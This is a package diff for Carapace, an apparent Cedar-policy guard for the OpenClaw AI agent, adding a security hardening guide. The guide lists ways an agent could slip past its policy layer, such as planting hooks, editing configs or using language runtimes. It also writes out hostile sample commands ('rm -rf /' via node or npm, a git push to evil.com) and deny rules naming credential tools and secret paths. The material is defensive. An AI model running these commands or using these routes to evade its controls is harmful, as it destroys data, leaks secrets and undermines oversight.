@clawdreyhepburn/carapace 0.3.0 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +318 -302
- package/docs/RECOMMENDED-POLICIES.md +189 -378
- package/docs/SECURITY.md +544 -0
- package/openclaw.plugin.json +31 -2
- package/package.json +1 -1
- package/src/index.ts +149 -20
package/docs/SECURITY.md
ADDED
|
@@ -0,0 +1,544 @@
|
|
|
1
|
+
# Security Hardening Guide
|
|
2
|
+
|
|
3
|
+
Step-by-step instructions for locking down Carapace on macOS, Linux, and Windows. Copy-paste commands included.
|
|
4
|
+
|
|
5
|
+
**Read this first.** Carapace can't protect you if it's misconfigured or if the agent can reach around it. This guide walks you through every layer of defense.
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Table of Contents
|
|
10
|
+
|
|
11
|
+
- [Step 1: Enable the LLM Proxy](#step-1-enable-the-llm-proxy)
|
|
12
|
+
- [Step 2: Close the Tool Bypass Gap](#step-2-close-the-tool-bypass-gap)
|
|
13
|
+
- [Step 3: Protect OpenClaw System Directories](#step-3-protect-openclaw-system-directories)
|
|
14
|
+
- [Step 4: Protect Credentials](#step-4-protect-credentials)
|
|
15
|
+
- [Step 5: Restrict File Writing](#step-5-restrict-file-writing)
|
|
16
|
+
- [Step 6: Verify Your Setup](#step-6-verify-your-setup)
|
|
17
|
+
- [What Carapace Covers (and What It Doesn't)](#enforcement-coverage)
|
|
18
|
+
- [Dangerous Permits](#dangerous-permits)
|
|
19
|
+
- [Threat Model Spectrum](#threat-model-spectrum)
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Step 1: Enable the LLM Proxy
|
|
24
|
+
|
|
25
|
+
The LLM Proxy is the strongest enforcement mode. Carapace holds the real API key and intercepts every tool call the LLM suggests — before OpenClaw can execute it.
|
|
26
|
+
|
|
27
|
+
**Without the proxy, the agent can bypass Cedar by using built-in tools directly.**
|
|
28
|
+
|
|
29
|
+
### Configuration
|
|
30
|
+
|
|
31
|
+
Add the Carapace plugin to your OpenClaw config (`~/.openclaw/openclaw.json`), under `plugins.entries`:
|
|
32
|
+
|
|
33
|
+
```json
|
|
34
|
+
"carapace": {
|
|
35
|
+
"enabled": true,
|
|
36
|
+
"config": {
|
|
37
|
+
"proxy": {
|
|
38
|
+
"enabled": true,
|
|
39
|
+
"port": 19821,
|
|
40
|
+
"upstream": {
|
|
41
|
+
"anthropic": {
|
|
42
|
+
"apiKey": "sk-ant-your-real-api-key-here"
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
For OpenAI models, use `"openai"` instead of `"anthropic"` in the upstream block.
|
|
51
|
+
|
|
52
|
+
Then run setup — it automatically points your LLM provider at the proxy:
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
openclaw carapace setup
|
|
56
|
+
openclaw gateway restart
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### API keys
|
|
60
|
+
|
|
61
|
+
Your existing `ANTHROPIC_API_KEY` or `OPENAI_API_KEY` environment variable still works — the proxy replaces the auth header when forwarding, so there's no conflict. You don't need to move any keys around.
|
|
62
|
+
|
|
63
|
+
If you want extra security, you can optionally move the key into the Carapace plugin config and unset the environment variable. This prevents the agent from reading the key via `printenv`. But it's not required for the proxy to work.
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Step 2: Close the Tool Bypass Gap
|
|
68
|
+
|
|
69
|
+
Even with the proxy, it's good defense-in-depth to deny the built-in tools that overlap with Carapace's Cedar-gated versions.
|
|
70
|
+
|
|
71
|
+
### Automatic setup
|
|
72
|
+
|
|
73
|
+
If you already ran `openclaw carapace setup` in Step 1, this is already done — setup handles both the proxy baseUrl and the tool deny list. You can verify with:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
openclaw carapace check
|
|
77
|
+
# Expected: ✅ No bypass vulnerabilities found.
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
If you skipped Step 1 or want to run it again:
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
openclaw carapace setup
|
|
84
|
+
openclaw gateway restart
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
This adds `exec`, `web_fetch`, and `web_search` to `tools.deny` in your config (and sets the proxy baseUrl if the proxy is enabled).
|
|
88
|
+
|
|
89
|
+
### Manual setup
|
|
90
|
+
|
|
91
|
+
If you prefer to do it yourself:
|
|
92
|
+
|
|
93
|
+
**macOS / Linux:**
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
# Check current config
|
|
97
|
+
cat ~/.openclaw/openclaw.json | python3 -c "
|
|
98
|
+
import sys, json
|
|
99
|
+
cfg = json.load(sys.stdin)
|
|
100
|
+
denied = cfg.get('tools', {}).get('deny', [])
|
|
101
|
+
print('Currently denied:', denied or '(none)')
|
|
102
|
+
for t in ['exec', 'web_fetch', 'web_search']:
|
|
103
|
+
print(f' {t}: {\"✅ denied\" if t in denied else \"⚠️ NOT denied\"}')"
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
**Windows (PowerShell):**
|
|
107
|
+
|
|
108
|
+
```powershell
|
|
109
|
+
$cfg = Get-Content "$env:USERPROFILE\.openclaw\openclaw.json" | ConvertFrom-Json
|
|
110
|
+
$denied = $cfg.tools.deny
|
|
111
|
+
@("exec", "web_fetch", "web_search") | ForEach-Object {
|
|
112
|
+
$status = if ($denied -contains $_) { "denied" } else { "NOT denied" }
|
|
113
|
+
Write-Host " $_`: $status"
|
|
114
|
+
}
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
### Verify
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
openclaw carapace check
|
|
121
|
+
# Expected: ✅ No bypass vulnerabilities found.
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## Step 3: Protect OpenClaw System Directories
|
|
127
|
+
|
|
128
|
+
**This is critical.** If the agent can write to OpenClaw's hooks, extensions, or config directories, it can plant code that runs outside Cedar — no LLM involved, no proxy intercept.
|
|
129
|
+
|
|
130
|
+
### What to protect
|
|
131
|
+
|
|
132
|
+
| Directory | Risk if writable |
|
|
133
|
+
|-----------|-----------------|
|
|
134
|
+
| `~/.openclaw/hooks/` | Agent plants a hook that runs `execSync()` on every message |
|
|
135
|
+
| `~/.openclaw/extensions/` | Agent installs a plugin with arbitrary code |
|
|
136
|
+
| `~/.openclaw/openclaw.json` | Agent disables Carapace or changes the provider URL |
|
|
137
|
+
| `~/.openclaw/cron/` | Agent creates cron jobs (less risky — they go through the LLM) |
|
|
138
|
+
| `<workspace>/BOOT.md` | Agent injects startup instructions (goes through LLM — lower risk) |
|
|
139
|
+
| `<workspace>/HEARTBEAT.md` | Agent injects heartbeat instructions (goes through LLM — lower risk) |
|
|
140
|
+
|
|
141
|
+
### macOS
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# Make hook and extension directories immutable
|
|
145
|
+
# (create them first if they don't exist)
|
|
146
|
+
mkdir -p ~/.openclaw/hooks ~/.openclaw/extensions
|
|
147
|
+
|
|
148
|
+
# Remove write permission
|
|
149
|
+
chmod 555 ~/.openclaw/hooks
|
|
150
|
+
chmod 555 ~/.openclaw/extensions
|
|
151
|
+
|
|
152
|
+
# Protect the config file
|
|
153
|
+
chmod 444 ~/.openclaw/openclaw.json
|
|
154
|
+
|
|
155
|
+
# Verify
|
|
156
|
+
ls -la ~/.openclaw/openclaw.json ~/.openclaw/hooks ~/.openclaw/extensions
|
|
157
|
+
# Should show r-xr-xr-x for dirs, r--r--r-- for config
|
|
158
|
+
|
|
159
|
+
# To undo (when you need to make changes):
|
|
160
|
+
chmod 755 ~/.openclaw/hooks ~/.openclaw/extensions
|
|
161
|
+
chmod 644 ~/.openclaw/openclaw.json
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
For stronger protection on macOS, use system flags:
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
# Make truly immutable (survives chmod — needs sudo to undo)
|
|
168
|
+
sudo chflags schg ~/.openclaw/openclaw.json
|
|
169
|
+
sudo chflags schg ~/.openclaw/hooks
|
|
170
|
+
sudo chflags schg ~/.openclaw/extensions
|
|
171
|
+
|
|
172
|
+
# To undo:
|
|
173
|
+
sudo chflags noschg ~/.openclaw/openclaw.json
|
|
174
|
+
sudo chflags noschg ~/.openclaw/hooks
|
|
175
|
+
sudo chflags noschg ~/.openclaw/extensions
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### Linux
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# Remove write permission
|
|
182
|
+
mkdir -p ~/.openclaw/hooks ~/.openclaw/extensions
|
|
183
|
+
chmod 555 ~/.openclaw/hooks
|
|
184
|
+
chmod 555 ~/.openclaw/extensions
|
|
185
|
+
chmod 444 ~/.openclaw/openclaw.json
|
|
186
|
+
|
|
187
|
+
# For stronger protection, use immutable attribute (needs root)
|
|
188
|
+
sudo chattr +i ~/.openclaw/openclaw.json
|
|
189
|
+
sudo chattr +i ~/.openclaw/hooks
|
|
190
|
+
sudo chattr +i ~/.openclaw/extensions
|
|
191
|
+
|
|
192
|
+
# Verify
|
|
193
|
+
lsattr ~/.openclaw/openclaw.json
|
|
194
|
+
# Should show: ----i----------- .openclaw/openclaw.json
|
|
195
|
+
|
|
196
|
+
# To undo:
|
|
197
|
+
sudo chattr -i ~/.openclaw/openclaw.json
|
|
198
|
+
sudo chattr -i ~/.openclaw/hooks
|
|
199
|
+
sudo chattr -i ~/.openclaw/extensions
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
### Windows
|
|
203
|
+
|
|
204
|
+
```powershell
|
|
205
|
+
# Make config read-only
|
|
206
|
+
Set-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json" -Name IsReadOnly -Value $true
|
|
207
|
+
|
|
208
|
+
# Protect directories with ACL (deny write for the agent's user)
|
|
209
|
+
# Replace AGENT_USER with the Windows user running OpenClaw
|
|
210
|
+
$acl = Get-Acl "$env:USERPROFILE\.openclaw\hooks"
|
|
211
|
+
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
|
|
212
|
+
"AGENT_USER", "Write,Delete,CreateFiles", "ContainerInherit,ObjectInherit", "None", "Deny"
|
|
213
|
+
)
|
|
214
|
+
$acl.AddAccessRule($rule)
|
|
215
|
+
Set-Acl "$env:USERPROFILE\.openclaw\hooks" $acl
|
|
216
|
+
|
|
217
|
+
# Repeat for extensions
|
|
218
|
+
$acl = Get-Acl "$env:USERPROFILE\.openclaw\extensions"
|
|
219
|
+
$acl.AddAccessRule($rule)
|
|
220
|
+
Set-Acl "$env:USERPROFILE\.openclaw\extensions" $acl
|
|
221
|
+
|
|
222
|
+
# Verify
|
|
223
|
+
Get-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json" | Select-Object IsReadOnly
|
|
224
|
+
Get-Acl "$env:USERPROFILE\.openclaw\hooks" | Format-List
|
|
225
|
+
|
|
226
|
+
# To undo:
|
|
227
|
+
Set-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json" -Name IsReadOnly -Value $false
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
---
|
|
231
|
+
|
|
232
|
+
## Step 4: Protect Credentials
|
|
233
|
+
|
|
234
|
+
The agent shouldn't be able to read API keys, SSH keys, or secrets.
|
|
235
|
+
|
|
236
|
+
### macOS
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Protect SSH keys
|
|
240
|
+
chmod 600 ~/.ssh/id_*
|
|
241
|
+
chmod 700 ~/.ssh
|
|
242
|
+
|
|
243
|
+
# Protect AWS credentials
|
|
244
|
+
chmod 600 ~/.aws/credentials ~/.aws/config 2>/dev/null
|
|
245
|
+
|
|
246
|
+
# Protect environment files
|
|
247
|
+
find ~ -maxdepth 3 -name ".env" -exec chmod 600 {} \; 2>/dev/null
|
|
248
|
+
find ~ -maxdepth 3 -name ".env.*" -exec chmod 600 {} \; 2>/dev/null
|
|
249
|
+
|
|
250
|
+
# If running the agent as a separate user (recommended for production):
|
|
251
|
+
# The agent user shouldn't be in your group or have read access to your home
|
|
252
|
+
sudo dscl . -create /Users/openclaw-agent
|
|
253
|
+
# ... (full user creation depends on your setup)
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### Linux
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# Protect SSH keys
|
|
260
|
+
chmod 600 ~/.ssh/id_*
|
|
261
|
+
chmod 700 ~/.ssh
|
|
262
|
+
|
|
263
|
+
# Protect AWS credentials
|
|
264
|
+
chmod 600 ~/.aws/credentials ~/.aws/config 2>/dev/null
|
|
265
|
+
|
|
266
|
+
# Protect environment files
|
|
267
|
+
find ~ -maxdepth 3 -name ".env" -exec chmod 600 {} \; 2>/dev/null
|
|
268
|
+
|
|
269
|
+
# If running as a separate user (recommended):
|
|
270
|
+
sudo useradd -r -s /bin/nologin openclaw-agent
|
|
271
|
+
# Run OpenClaw as openclaw-agent — it won't have access to your home directory
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
### Windows
|
|
275
|
+
|
|
276
|
+
```powershell
|
|
277
|
+
# Protect SSH keys (remove inheritance, restrict to current user)
|
|
278
|
+
$sshDir = "$env:USERPROFILE\.ssh"
|
|
279
|
+
if (Test-Path $sshDir) {
|
|
280
|
+
Get-ChildItem "$sshDir\id_*" | ForEach-Object {
|
|
281
|
+
icacls $_.FullName /inheritance:r /grant "${env:USERNAME}:R"
|
|
282
|
+
}
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
# Protect AWS credentials
|
|
286
|
+
$awsCreds = "$env:USERPROFILE\.aws\credentials"
|
|
287
|
+
if (Test-Path $awsCreds) {
|
|
288
|
+
icacls $awsCreds /inheritance:r /grant "${env:USERNAME}:R"
|
|
289
|
+
}
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### Cedar policies for credential protection
|
|
293
|
+
|
|
294
|
+
In addition to OS-level permissions, add these Cedar forbids:
|
|
295
|
+
|
|
296
|
+
```cedar
|
|
297
|
+
// Block tools that access credential stores
|
|
298
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"security");
|
|
299
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"ssh-keygen");
|
|
300
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"gpg");
|
|
301
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"op");
|
|
302
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"pass");
|
|
303
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"cmdkey");
|
|
304
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"certutil");
|
|
305
|
+
|
|
306
|
+
// Block reading sensitive paths (if using cat/read_file)
|
|
307
|
+
forbid(
|
|
308
|
+
principal,
|
|
309
|
+
action == Jans::Action::"exec_command",
|
|
310
|
+
resource == Jans::Shell::"cat"
|
|
311
|
+
) when {
|
|
312
|
+
context.args like "*/.ssh/*" ||
|
|
313
|
+
context.args like "*/.aws/*" ||
|
|
314
|
+
context.args like "*/.env*" ||
|
|
315
|
+
context.args like "*/.openclaw/credentials/*" ||
|
|
316
|
+
context.args like "*/.gnupg/*"
|
|
317
|
+
};
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
---
|
|
321
|
+
|
|
322
|
+
## Step 5: Restrict File Writing
|
|
323
|
+
|
|
324
|
+
If the agent can write files, it can plant hooks, modify configs, or create exfiltration scripts. Even with the proxy catching tool calls, an agent with `filesystem/write_file` access can write to dangerous paths.
|
|
325
|
+
|
|
326
|
+
### Cedar policies
|
|
327
|
+
|
|
328
|
+
```cedar
|
|
329
|
+
// Option A: Block write_file entirely
|
|
330
|
+
forbid(
|
|
331
|
+
principal,
|
|
332
|
+
action == Jans::Action::"call_tool",
|
|
333
|
+
resource == Jans::Tool::"filesystem/write_file"
|
|
334
|
+
);
|
|
335
|
+
|
|
336
|
+
// Option B: Block shell write commands to critical paths
|
|
337
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"tee")
|
|
338
|
+
when { context.args like "*/.openclaw/*" };
|
|
339
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"cp")
|
|
340
|
+
when { context.args like "*/.openclaw/*" };
|
|
341
|
+
forbid(principal, action == Jans::Action::"exec_command", resource == Jans::Shell::"mv")
|
|
342
|
+
when { context.args like "*/.openclaw/*" };
|
|
343
|
+
```
|
|
344
|
+
|
|
345
|
+
### Sandbox the workspace (advanced)
|
|
346
|
+
|
|
347
|
+
For maximum isolation, run the agent in a restricted environment:
|
|
348
|
+
|
|
349
|
+
**macOS (sandbox-exec — deprecated but functional):**
|
|
350
|
+
|
|
351
|
+
```bash
|
|
352
|
+
# Create a sandbox profile that restricts writes
|
|
353
|
+
cat > /tmp/openclaw-sandbox.sb << 'EOF'
|
|
354
|
+
(version 1)
|
|
355
|
+
(allow default)
|
|
356
|
+
(deny file-write*
|
|
357
|
+
(subpath (string-append (param "HOME") "/.openclaw/hooks"))
|
|
358
|
+
(subpath (string-append (param "HOME") "/.openclaw/extensions"))
|
|
359
|
+
(literal (string-append (param "HOME") "/.openclaw/openclaw.json"))
|
|
360
|
+
(subpath (string-append (param "HOME") "/.ssh"))
|
|
361
|
+
)
|
|
362
|
+
EOF
|
|
363
|
+
|
|
364
|
+
# Run OpenClaw in the sandbox
|
|
365
|
+
sandbox-exec -f /tmp/openclaw-sandbox.sb -D HOME="$HOME" openclaw gateway start
|
|
366
|
+
```
|
|
367
|
+
|
|
368
|
+
**Linux (firejail):**
|
|
369
|
+
|
|
370
|
+
```bash
|
|
371
|
+
# Install firejail
|
|
372
|
+
sudo apt install firejail # Debian/Ubuntu
|
|
373
|
+
sudo dnf install firejail # Fedora
|
|
374
|
+
|
|
375
|
+
# Create a Carapace profile
|
|
376
|
+
cat > ~/.config/firejail/openclaw.profile << 'EOF'
|
|
377
|
+
include /etc/firejail/default.profile
|
|
378
|
+
read-only ${HOME}/.openclaw/hooks
|
|
379
|
+
read-only ${HOME}/.openclaw/extensions
|
|
380
|
+
read-only ${HOME}/.openclaw/openclaw.json
|
|
381
|
+
read-only ${HOME}/.ssh
|
|
382
|
+
read-only ${HOME}/.aws
|
|
383
|
+
blacklist ${HOME}/.gnupg/private-keys-v1.d
|
|
384
|
+
EOF
|
|
385
|
+
|
|
386
|
+
# Run OpenClaw sandboxed
|
|
387
|
+
firejail --profile=openclaw openclaw gateway start
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
**Linux (Docker — strongest isolation):**
|
|
391
|
+
|
|
392
|
+
```bash
|
|
393
|
+
# Run OpenClaw in a container with read-only mounts for sensitive paths
|
|
394
|
+
docker run -d \
|
|
395
|
+
--name openclaw \
|
|
396
|
+
-v ~/.openclaw/openclaw.json:/home/agent/.openclaw/openclaw.json:ro \
|
|
397
|
+
-v ~/.openclaw/hooks:/home/agent/.openclaw/hooks:ro \
|
|
398
|
+
-v ~/.openclaw/extensions:/home/agent/.openclaw/extensions:ro \
|
|
399
|
+
-v ~/.openclaw/workspace:/home/agent/.openclaw/workspace \
|
|
400
|
+
-p 19820:19820 \
|
|
401
|
+
-p 19821:19821 \
|
|
402
|
+
openclaw/openclaw
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
**Windows (restricted user):**
|
|
406
|
+
|
|
407
|
+
```powershell
|
|
408
|
+
# Create a restricted user for the agent
|
|
409
|
+
net user openclaw-agent RandomP@ss123 /add
|
|
410
|
+
# Remove from Administrators, add to Users only
|
|
411
|
+
net localgroup Users openclaw-agent /add
|
|
412
|
+
|
|
413
|
+
# Run OpenClaw as the restricted user
|
|
414
|
+
runas /user:openclaw-agent "openclaw gateway start"
|
|
415
|
+
|
|
416
|
+
# The restricted user won't have write access to your profile directories
|
|
417
|
+
# You may need to grant read access to the OpenClaw config
|
|
418
|
+
icacls "$env:USERPROFILE\.openclaw\openclaw.json" /grant "openclaw-agent:R"
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
---
|
|
422
|
+
|
|
423
|
+
## Step 6: Verify Your Setup
|
|
424
|
+
|
|
425
|
+
Run this checklist after completing the steps above.
|
|
426
|
+
|
|
427
|
+
### Quick check (all platforms)
|
|
428
|
+
|
|
429
|
+
```bash
|
|
430
|
+
# 1. Is the proxy running?
|
|
431
|
+
curl http://127.0.0.1:19821/health
|
|
432
|
+
# Expected: {"ok":true,"stats":{...}}
|
|
433
|
+
|
|
434
|
+
# 2. Are bypass tools denied?
|
|
435
|
+
openclaw carapace check
|
|
436
|
+
# Expected: ✅ No bypass vulnerabilities found.
|
|
437
|
+
|
|
438
|
+
# 3. Is the config protected?
|
|
439
|
+
# macOS/Linux:
|
|
440
|
+
ls -la ~/.openclaw/openclaw.json
|
|
441
|
+
# Expected: r--r--r-- (read-only)
|
|
442
|
+
|
|
443
|
+
# 4. Are hooks/extensions protected?
|
|
444
|
+
ls -la ~/.openclaw/hooks ~/.openclaw/extensions
|
|
445
|
+
# Expected: r-xr-xr-x (no write)
|
|
446
|
+
```
|
|
447
|
+
|
|
448
|
+
### Windows quick check
|
|
449
|
+
|
|
450
|
+
```powershell
|
|
451
|
+
# 1. Is the proxy running?
|
|
452
|
+
Invoke-RestMethod http://127.0.0.1:19821/health
|
|
453
|
+
|
|
454
|
+
# 2. Are bypass tools denied?
|
|
455
|
+
openclaw carapace check
|
|
456
|
+
|
|
457
|
+
# 3. Is the config read-only?
|
|
458
|
+
(Get-ItemProperty "$env:USERPROFILE\.openclaw\openclaw.json").IsReadOnly
|
|
459
|
+
# Expected: True
|
|
460
|
+
```
|
|
461
|
+
|
|
462
|
+
### Full security audit
|
|
463
|
+
|
|
464
|
+
```bash
|
|
465
|
+
# Run the adversarial test suite (requires the repo)
|
|
466
|
+
cd carapace && npx tsx test/test-adversarial.mjs
|
|
467
|
+
# Expected: 0 BROKEN, 30 HELD
|
|
468
|
+
```
|
|
469
|
+
|
|
470
|
+
---
|
|
471
|
+
|
|
472
|
+
<a id="enforcement-coverage"></a>
|
|
473
|
+
## What Carapace Covers (and What It Doesn't)
|
|
474
|
+
|
|
475
|
+
| Execution path | Goes through Cedar? | Notes |
|
|
476
|
+
|---|---|---|
|
|
477
|
+
| Agent tool calls via LLM | ✅ Yes (proxy) | The main enforcement point |
|
|
478
|
+
| Cron job agent turns | ✅ Yes (proxy) | Same LLM provider config |
|
|
479
|
+
| Sub-agent sessions | ✅ Yes (proxy) | Same LLM provider config |
|
|
480
|
+
| Heartbeat agent turns | ✅ Yes (proxy) | Same LLM provider config |
|
|
481
|
+
| BOOT.md instructions | ✅ Yes (proxy) | Processed by agent runner |
|
|
482
|
+
| Hooks (handler.ts) | ❌ **No** | Run in-process, no LLM |
|
|
483
|
+
| Plugins (extensions) | ❌ **No** | Run in-process, trusted code |
|
|
484
|
+
| OS-level cron (crontab) | ❌ **No** | Outside OpenClaw entirely |
|
|
485
|
+
| Spawned child processes | ❌ **No** | From permitted binaries |
|
|
486
|
+
|
|
487
|
+
**The bottom line:** With the LLM proxy enabled, Carapace covers everything that flows through the LLM. The gaps are code that runs directly — hooks, plugins, and child processes of permitted binaries. For those, use the OS-level protections described above.
|
|
488
|
+
|
|
489
|
+
---
|
|
490
|
+
|
|
491
|
+
## Dangerous Permits
|
|
492
|
+
|
|
493
|
+
Some permits look safe but grant far more access than you'd expect. From our [adversarial test suite](../test/test-adversarial.mjs):
|
|
494
|
+
|
|
495
|
+
### Language runtimes = skeleton keys
|
|
496
|
+
|
|
497
|
+
`node`, `python3`, `ruby`, `perl`, `deno`, `bun`, `php`
|
|
498
|
+
|
|
499
|
+
Permitting any of these is permitting **everything**. `node -e "require('child_process').execSync('rm -rf /')"` runs `rm` inside node — Carapace only sees `Shell::"node"`.
|
|
500
|
+
|
|
501
|
+
### Package managers = unrestricted shell
|
|
502
|
+
|
|
503
|
+
`npm`, `pip`, `gem`, `cargo`, `go`, `brew`
|
|
504
|
+
|
|
505
|
+
`npm exec -- rm -rf /` runs arbitrary binaries. `npm publish` can exfiltrate your entire project.
|
|
506
|
+
|
|
507
|
+
### Git = exfiltration channel
|
|
508
|
+
|
|
509
|
+
`git push https://evil.com/exfil.git` sends your code anywhere. `git clone` with malicious hooks executes arbitrary code.
|
|
510
|
+
|
|
511
|
+
### File readers = secret access
|
|
512
|
+
|
|
513
|
+
`cat`, `less`, `head`, `tail` + `filesystem/read_file`
|
|
514
|
+
|
|
515
|
+
Any of these with no path restrictions can read `~/.ssh/id_rsa`, `~/.aws/credentials`, etc.
|
|
516
|
+
|
|
517
|
+
### Permitted domains = exfiltration channels
|
|
518
|
+
|
|
519
|
+
Any API that accepts POST data (`api.github.com/gists`, S3, etc.) can be used to exfiltrate data. Use `context.method == "GET"` conditions for read-only API access.
|
|
520
|
+
|
|
521
|
+
---
|
|
522
|
+
|
|
523
|
+
<a id="threat-model-spectrum"></a>
|
|
524
|
+
## Threat Model Spectrum
|
|
525
|
+
|
|
526
|
+
| Permit | Risk | What it enables |
|
|
527
|
+
|--------|------|----------------|
|
|
528
|
+
| `ls`, `echo`, `date`, `wc` | Low | Read-only, limited scope |
|
|
529
|
+
| `cat`, `grep`, `find`, `head` | Medium | Read any file on disk |
|
|
530
|
+
| `git`, `npm`, `curl`, `wget` | High | File reads + network exfiltration |
|
|
531
|
+
| `node`, `python3`, `bash`, `sh` | **Critical** | Arbitrary code execution |
|
|
532
|
+
| `rm`, `sudo`, `chmod`, `mkfs` | **Destructive** | Irreversible system damage |
|
|
533
|
+
|
|
534
|
+
**Every permit expands the blast radius.** Start with the minimum and add more only when the agent demonstrably needs them.
|
|
535
|
+
|
|
536
|
+
---
|
|
537
|
+
|
|
538
|
+
## Further Reading
|
|
539
|
+
|
|
540
|
+
- [Recommended Policies](RECOMMENDED-POLICIES.md) — use-case-specific Cedar policy examples
|
|
541
|
+
- [Cedar for AI Agents blog series](https://clawdrey.com/blog/cedar-for-ai-agents-part-1-why-your-ai-agent-needs-a-policy-language.html)
|
|
542
|
+
- [Cedar Language Reference](https://docs.cedarpolicy.com/)
|
|
543
|
+
- [Adversarial test suite](../test/test-adversarial.mjs) — 30 bypass attempts, 0 broken
|
|
544
|
+
- [Carapace README](../README.md)
|
package/openclaw.plugin.json
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
"id": "carapace",
|
|
3
3
|
"name": "Carapace",
|
|
4
4
|
"description": "Immutable policy boundaries for MCP tool access. Your agent's exoskeleton.",
|
|
5
|
-
"version": "0.
|
|
5
|
+
"version": "0.3.0",
|
|
6
6
|
"configSchema": {
|
|
7
7
|
"type": "object",
|
|
8
8
|
"additionalProperties": false,
|
|
@@ -45,6 +45,31 @@
|
|
|
45
45
|
"type": "boolean",
|
|
46
46
|
"default": false,
|
|
47
47
|
"description": "Run cvc5 formal verification on policy changes"
|
|
48
|
+
},
|
|
49
|
+
"proxy": {
|
|
50
|
+
"type": "object",
|
|
51
|
+
"description": "LLM proxy settings — intercepts tool_use blocks and enforces Cedar policies before OpenClaw sees them",
|
|
52
|
+
"properties": {
|
|
53
|
+
"enabled": {
|
|
54
|
+
"type": "boolean",
|
|
55
|
+
"default": false,
|
|
56
|
+
"description": "Enable the LLM API proxy"
|
|
57
|
+
},
|
|
58
|
+
"port": {
|
|
59
|
+
"type": "number",
|
|
60
|
+
"default": 19821,
|
|
61
|
+
"description": "Port for the LLM proxy server"
|
|
62
|
+
},
|
|
63
|
+
"upstream": {
|
|
64
|
+
"type": "string",
|
|
65
|
+
"default": "https://api.anthropic.com",
|
|
66
|
+
"description": "Upstream LLM API base URL"
|
|
67
|
+
},
|
|
68
|
+
"apiKey": {
|
|
69
|
+
"type": "string",
|
|
70
|
+
"description": "API key for the upstream provider (moved here so the agent never sees it)"
|
|
71
|
+
}
|
|
72
|
+
}
|
|
48
73
|
}
|
|
49
74
|
}
|
|
50
75
|
},
|
|
@@ -52,6 +77,10 @@
|
|
|
52
77
|
"guiPort": { "label": "GUI Port", "placeholder": "19820" },
|
|
53
78
|
"policyDir": { "label": "Policy Directory" },
|
|
54
79
|
"defaultPolicy": { "label": "Default Policy for New Tools" },
|
|
55
|
-
"verify": { "label": "Enable Formal Verification" }
|
|
80
|
+
"verify": { "label": "Enable Formal Verification" },
|
|
81
|
+
"proxy.enabled": { "label": "Enable LLM Proxy" },
|
|
82
|
+
"proxy.port": { "label": "Proxy Port", "placeholder": "19821" },
|
|
83
|
+
"proxy.upstream": { "label": "Upstream API URL" },
|
|
84
|
+
"proxy.apiKey": { "label": "Upstream API Key", "sensitive": true }
|
|
56
85
|
}
|
|
57
86
|
}
|